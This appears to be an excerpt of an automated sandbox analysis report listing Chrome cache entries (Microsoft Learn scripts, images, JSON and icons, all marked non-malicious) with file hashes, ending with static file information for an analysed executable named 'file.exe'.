Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949085303649602
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'843'200 bytes
MD5:	f3a8c08b94962f3f0c54e2e784fbc24d
SHA1:	834f7ac410e45951f097e67dece996bbbe724fec
SHA256:	621feef2764761a0d1ba4d79e580bcc00a1b1558879ed0a9273af568b3e5a150
SHA512:	f183b0b6b903679619287c6a1cf68dbc37cefd5612ae461180d3454aab46a9b4a8c4739fa58c1fa104becd63c442eb89aacbbe613906b050960f96a2c151f1fd
